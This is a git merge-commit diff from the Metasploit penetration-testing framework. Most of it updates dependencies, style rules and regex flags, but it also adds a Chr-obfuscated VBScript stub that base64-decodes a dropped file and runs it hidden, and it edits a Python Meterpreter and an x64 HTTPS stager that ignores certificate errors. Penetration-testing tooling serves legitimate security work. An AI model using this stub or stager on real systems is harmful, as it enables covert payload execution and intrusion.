Merge branch 'master' of github.com:rapid7/metasploit-framework into enum_ad_perf

bug/bundler_fix
Meatballs 2013-09-24 19:08:52 +01:00
commit f1e563d375
414 changed files with 5732 additions and 1539 deletions

7
.gitignore vendored
View File

@ -3,10 +3,7 @@
.idea .idea
# Sublime Text project directory (not created by ST by default) # Sublime Text project directory (not created by ST by default)
.sublime-project .sublime-project
# Portable ruby version files for rvm # RVM control file, keep this to avoid backdooring Metasploit
.ruby-gemset
.ruby-version
# RVM control file
.rvmrc .rvmrc
# YARD cache directory # YARD cache directory
.yardoc .yardoc
@ -16,7 +13,7 @@
config/database.yml config/database.yml
# simplecov coverage data # simplecov coverage data
coverage coverage
data/meterpreter/ext_server_pivot.dll data/meterpreter/ext_server_pivot.x86.dll
data/meterpreter/ext_server_pivot.x64.dll data/meterpreter/ext_server_pivot.x64.dll
doc/ doc/
external/source/meterpreter/java/bin external/source/meterpreter/java/bin

1
.ruby-gemset Normal file
View File

@ -0,0 +1 @@
metasploit-framework

1
.ruby-version Normal file
View File

@ -0,0 +1 @@
1.9.3-p448

View File

@ -15,4 +15,4 @@ notifications:
irc: "irc.freenode.org#msfnotify" irc: "irc.freenode.org#msfnotify"
git: git:
depth: 1 depth: 5

View File

@ -1,4 +1,4 @@
source 'http://rubygems.org' source 'https://rubygems.org'
# Need 3+ for ActiveSupport::Concern # Need 3+ for ActiveSupport::Concern
gem 'activesupport', '>= 3.0.0' gem 'activesupport', '>= 3.0.0'
@ -11,7 +11,7 @@ gem 'nokogiri'
# Needed by anemone crawler # Needed by anemone crawler
gem 'robots' gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture # Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.8' gem 'packetfu', '1.1.9'
group :db do group :db do
# Needed for Msf::DbManager # Needed for Msf::DbManager
@ -41,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax. # 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0' gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks # running documentation generation tasks and rspec tasks
gem 'rake' gem 'rake', '>= 10.0.0'
end end
group :test do group :test do
@ -51,11 +51,10 @@ group :test do
gem 'database_cleaner' gem 'database_cleaner'
# testing framework # testing framework
gem 'rspec', '>= 2.12' gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers' gem 'shoulda-matchers'
# code coverage for tests # code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files. # any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs # Manipulate Time.now in specs
gem 'timecop' gem 'timecop'

View File

@ -1,62 +1,58 @@
GEM GEM
remote: http://rubygems.org/ remote: https://rubygems.org/
specs: specs:
activemodel (3.2.13) activemodel (3.2.14)
activesupport (= 3.2.13) activesupport (= 3.2.14)
builder (~> 3.0.0) builder (~> 3.0.0)
activerecord (3.2.13) activerecord (3.2.14)
activemodel (= 3.2.13) activemodel (= 3.2.14)
activesupport (= 3.2.13) activesupport (= 3.2.14)
arel (~> 3.0.2) arel (~> 3.0.2)
tzinfo (~> 0.3.29) tzinfo (~> 0.3.29)
activesupport (3.2.13) activesupport (3.2.14)
i18n (= 0.6.1) i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0) multi_json (~> 1.0)
arel (3.0.2) arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4) builder (3.0.4)
database_cleaner (0.9.1) database_cleaner (1.1.1)
diff-lcs (1.2.2) diff-lcs (1.2.4)
factory_girl (4.2.0) factory_girl (4.2.0)
activesupport (>= 3.0.0) activesupport (>= 3.0.0)
i18n (0.6.1) i18n (0.6.5)
json (1.7.7) json (1.8.0)
metaclass (0.0.1)
metasploit_data_models (0.16.6) metasploit_data_models (0.16.6)
activerecord (>= 3.2.13) activerecord (>= 3.2.13)
activesupport activesupport
pg pg
mocha (0.13.3) mini_portile (0.5.1)
metaclass (~> 0.0.1) msgpack (0.5.5)
msgpack (0.5.4)
multi_json (1.0.4) multi_json (1.0.4)
network_interface (0.0.1) network_interface (0.0.1)
nokogiri (1.5.9) nokogiri (1.6.0)
packetfu (1.1.8) mini_portile (~> 0.5.0)
packetfu (1.1.9)
pcaprub (0.11.3) pcaprub (0.11.3)
pg (0.15.1) pg (0.16.0)
rake (10.0.4) rake (10.1.0)
redcarpet (2.2.2) redcarpet (3.0.0)
robots (0.10.1) robots (0.10.1)
rspec (2.13.0) rspec (2.14.1)
rspec-core (~> 2.13.0) rspec-core (~> 2.14.0)
rspec-expectations (~> 2.13.0) rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.13.0) rspec-mocks (~> 2.14.0)
rspec-core (2.13.1) rspec-core (2.14.5)
rspec-expectations (2.13.0) rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0) diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0) rspec-mocks (2.14.3)
shoulda-matchers (1.5.2) shoulda-matchers (2.3.0)
activesupport (>= 3.0.0) activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4) simplecov (0.5.4)
multi_json (~> 1.0.3) multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3) simplecov-html (~> 0.5.3)
simplecov-html (0.5.3) simplecov-html (0.5.3)
timecop (0.6.1) timecop (0.6.3)
tzinfo (0.3.37) tzinfo (0.3.37)
yard (0.8.5.2) yard (0.8.7)
PLATFORMS PLATFORMS
ruby ruby
@ -71,10 +67,10 @@ DEPENDENCIES
msgpack msgpack
network_interface (~> 0.0.1) network_interface (~> 0.0.1)
nokogiri nokogiri
packetfu (= 1.1.8) packetfu (= 1.1.9)
pcaprub pcaprub
pg (>= 0.11) pg (>= 0.11)
rake rake (>= 10.0.0)
redcarpet redcarpet
robots robots
rspec (>= 2.12) rspec (>= 2.12)

View File

@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines: adhere to the following style guidelines:
- Hard tabs, not spaces - Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming four-space tabs) - Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block - do; end instead of {} for a block
- Always use str[0,1] instead of str[0] - Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.) (This avoids a known ruby 1.8/1.9 incompatibility.)

View File

@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
@meterpreter.register_function @meterpreter.register_function
def stdapi_fs_file_expand_path(request, response): def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if path_tlv == '%COMSPEC%': if has_windll:
if platform.system() == 'Windows': path_out = (ctypes.c_char * 4096)()
result = 'cmd.exe' path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
else: result = ''.join(path_out)[:path_out_len]
result = '/bin/sh' elif path_tlv == '%COMSPEC%':
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows': result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp' result = '/tmp'
else: else:
result = os.getenv(path_tlv) result = os.getenv(path_tlv, path_tlv)
if not result: if not result:
return ERROR_FAILURE, response return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result) response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function @meterpreter.register_function
def stdapi_fs_getwd(request, response): def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd()) response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
m = hashlib.md5() m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read()) m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function @meterpreter.register_function
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
m = hashlib.sha1() m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read()) m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function @meterpreter.register_function

Binary file not shown.

View File

@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.acquire() self.data_lock.acquire()
self.data += byte self.data += byte
self.data_lock.release() self.data_lock.release()
data = self.std.read()
self.data_lock.acquire() self.data_lock.acquire()
self.data += self.std.read() self.data += data
self.data_lock.release() self.data_lock.release()
def is_read_ready(self): def is_read_ready(self):
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
def run(self): def run(self):
while self.running: while self.running:
if len(select.select([self.socket], [], [], 0)[0]): if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8) request = self.socket.recv(8)
if len(request) != 8: if len(request) != 8:
break break
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv) resp += tlv_pack(reqid_tlv)
if method_tlv['value'] in self.extension_functions: handler_name = method_tlv['value']
handler = self.extension_functions[method_tlv['value']] if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try: try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp) result, resp = handler(request, resp)
except Exception, err: except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE result = ERROR_FAILURE
else: else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result) resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp resp = struct.pack('>I', len(resp) + 4) + resp

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,8 @@
aspnet_client/
Autodiscover/
ecp/
EWS/
Microsoft-Server-ActiveSync/
OAB/
PowerShell/
Rpc/

View File

@ -1,6 +1,7 @@
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Rewritten for x64 by agix ; Rewritten for x64 by agix
; Modified to account for memory alignment by rwincey
; Compatible: Windows 7 ; Compatible: Windows 7
; Architecture: x64 ; Architecture: x64
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
@ -12,6 +13,7 @@
load_wininet: load_wininet:
; setup the structures we need on the stack... ; setup the structures we need on the stack...
push byte 0 ; alignment
mov r14, 'wininet' mov r14, 'wininet'
push r14 ; Push the bytes 'wininet',0 onto the stack. push r14 ; Push the bytes 'wininet',0 onto the stack.
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call. mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
@ -20,6 +22,7 @@ load_wininet:
call rbp ; LoadLibraryA( "ws2_32" ) call rbp ; LoadLibraryA( "ws2_32" )
internetopen: internetopen:
push byte 0 ; alignment
push byte 0 ; NULL pointer push byte 0 ; NULL pointer
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00") mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0) xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
@ -74,6 +77,7 @@ retry:
internetsetoption: internetsetoption:
mov rcx, rsi ; HINTERNET hInternet mov rcx, rsi ; HINTERNET hInternet
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push byte 0 ; alignment
push qword 0x00003380 push qword 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
@ -90,6 +94,7 @@ httpsendrequest:
xor rdx, rdx ; LPCTSTR lpszHeaders xor rdx, rdx ; LPCTSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional xor r9, r9 ; LPVOID lpOptional
push rdx ; alignment
push rdx ; DWORD dwOptionalLength push rdx ; DWORD dwOptionalLength
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call rbp call rbp

View File

@ -776,10 +776,10 @@ class Disassembler
def strings_scan(minlen=6) def strings_scan(minlen=6)
ret = [] ret = []
nexto = 0 nexto = 0
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
if o - nexto > 0 if o - nexto > 0
next unless e = get_edata_at(o) next unless e = get_edata_at(o)
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
ret << [o, str] if not block_given? or yield(o, str) ret << [o, str] if not block_given? or yield(o, str)
nexto = o + str.length nexto = o + str.length
end end

View File

@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
end end
if @show_ascii and d if @show_ascii and d
x = xa + d_o*@font_width x = xa + d_o*@font_width
d = d.gsub(/[^\x20-\x7e]/, '.') d = d.gsub(/[^\x20-\x7e]/n, '.')
if wp.empty? if wp.empty?
render[d, :ascii] render[d, :ascii]
else else
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
# pop a dialog, scans the sections for a hex pattern # pop a dialog, scans the sections for a hex pattern
def prompt_search_hex def prompt_search_hex
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }

View File

@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
def initialize(rstream,opts={}) def initialize(rstream,opts={})
super super
self.platform = 'x86/win32' self.platform = 'x86/win32'
self.binary_suffix = 'dll' self.binary_suffix = 'x86.dll'
end end
def lookup_error(code) def lookup_error(code)

View File

@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
next if @@credentials_skipped[fq_user] next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p next if @@credentials_tried[fq_user] == p
datastore['USERNAME'] = u.to_s
datastore['PASSWORD'] = p.to_s
ret = block.call(u, p) ret = block.call(u, p)
case ret case ret

View File

@ -128,10 +128,10 @@ module Auxiliary::Login
false false
end end
def password_prompt? def password_prompt?(username=nil)
return true if(@recvd =~ @password_regex) return true if(@recvd =~ @password_regex)
if datastore['USERNAME'] if username
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/) return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
end end
return false return false
end end

View File

@ -59,7 +59,7 @@ def get_nmap_ver
nmap_cmd = [self.nmap_bin] nmap_cmd = [self.nmap_bin]
nmap_cmd << "--version" nmap_cmd << "--version"
res << %x{#{nmap_cmd.join(" ")}} rescue nil res << %x{#{nmap_cmd.join(" ")}} rescue nil
res.gsub(/[\x0d\x0a]/,"") res.gsub(/[\x0d\x0a]/n,"")
end end
# Takes a version string in the form of Major.Minor and compares to # Takes a version string in the form of Major.Minor and compares to
@ -68,16 +68,16 @@ end
# Comparing an Integer is okay, though. # Comparing an Integer is okay, though.
def nmap_version_at_least?(test_ver=nil) def nmap_version_at_least?(test_ver=nil)
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/] unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}" raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
end end
test_ver_str = test_ver.to_s test_ver_str = test_ver.to_s
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
installed_ver = get_nmap_ver() installed_ver = get_nmap_ver()
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"] vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
return false if (vtag.nil? || vtag.empty?) return false if (vtag.nil? || vtag.empty?)
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag. return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
return true if inum_arr[0] > tnum_arr[0] return true if inum_arr[0] > tnum_arr[0]
return false if inum_arr[0] < tnum_arr[0] return false if inum_arr[0] < tnum_arr[0]
inum_arr[1].to_i >= tnum_arr[1].to_i inum_arr[1].to_i >= tnum_arr[1].to_i
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
return false return false
end end
# Check for commas outside of quoted arguments # Check for commas outside of quoted arguments
quoted_22 = /\x22[^\x22]*\x22/ quoted_22 = /\x22[^\x22]*\x22/n
requoted_str = str.gsub(/'/,"\"") requoted_str = str.gsub(/'/,"\"")
if requoted_str.split(quoted_22).join[/,/] if requoted_str.split(quoted_22).join[/,/]
print_error "Malformed nmap arguments (unquoted comma): #{str}" print_error "Malformed nmap arguments (unquoted comma): #{str}"

View File

@ -358,7 +358,7 @@ class DBManager
opts.each { |k,v| opts.each { |k,v|
if (host.attribute_names.include?(k.to_s)) if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s) unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end end
else else
dlog("Unknown attribute for ::Mdm::Host: #{k}") dlog("Unknown attribute for ::Mdm::Host: #{k}")
@ -481,7 +481,7 @@ class DBManager
if (host.attribute_names.include?(k.to_s)) if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s) unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end end
else else
dlog("Unknown attribute for Host: #{k}") dlog("Unknown attribute for Host: #{k}")
@ -1536,12 +1536,12 @@ class DBManager
if (token[0]) if (token[0])
# convert the token to US-ASCII from UTF-8 to prevent an error # convert the token to US-ASCII from UTF-8 to prevent an error
token[0] = token[0].unpack("C*").pack("C*") token[0] = token[0].unpack("C*").pack("C*")
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end end
if (token[1]) if (token[1])
token[1] = token[1].unpack("C*").pack("C*") token[1] = token[1].unpack("C*").pack("C*")
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end end
ret = {} ret = {}
@ -2853,7 +2853,7 @@ class DBManager
return REXML::Document.new(data) return REXML::Document.new(data)
rescue REXML::ParseException => e rescue REXML::ParseException => e
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }) return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
end end
end end
end end
@ -3055,7 +3055,7 @@ class DBManager
@import_filedata[:type] = "Appscan" @import_filedata[:type] = "Appscan"
return :appscan_xml return :appscan_xml
when "entities" when "entities"
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
@import_filedata[:type] = "CI" @import_filedata[:type] = "CI"
return :ci_xml return :ci_xml
end end
@ -3342,8 +3342,8 @@ class DBManager
def inspect_single_packet_http(pkt,wspace,task=nil) def inspect_single_packet_http(pkt,wspace,task=nil)
# First, check the server side (data from port 80). # First, check the server side (data from port 80).
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/ if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/) http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
if http_server_match.kind_of?(MatchData) and http_server_match[1] if http_server_match.kind_of?(MatchData) and http_server_match[1]
report_service( report_service(
:workspace => wspace, :workspace => wspace,
@ -3363,8 +3363,8 @@ class DBManager
# Next, check the client side (data to port 80) # Next, check the client side (data to port 80)
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/) if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/) auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
if auth_match.kind_of?(MatchData) and auth_match[1] if auth_match.kind_of?(MatchData) and auth_match[1]
b64_cred = auth_match[1] b64_cred = auth_match[1]
else else
@ -3476,7 +3476,7 @@ class DBManager
data.each_line do |line| data.each_line do |line|
case line case line
when /^[\s]*#/ # Comment lines when /^[\s]*#/ # Comment lines
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/] if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
addr = $1 addr = $1
port = $2 port = $2
proto = $4 proto = $4
@ -3492,7 +3492,7 @@ class DBManager
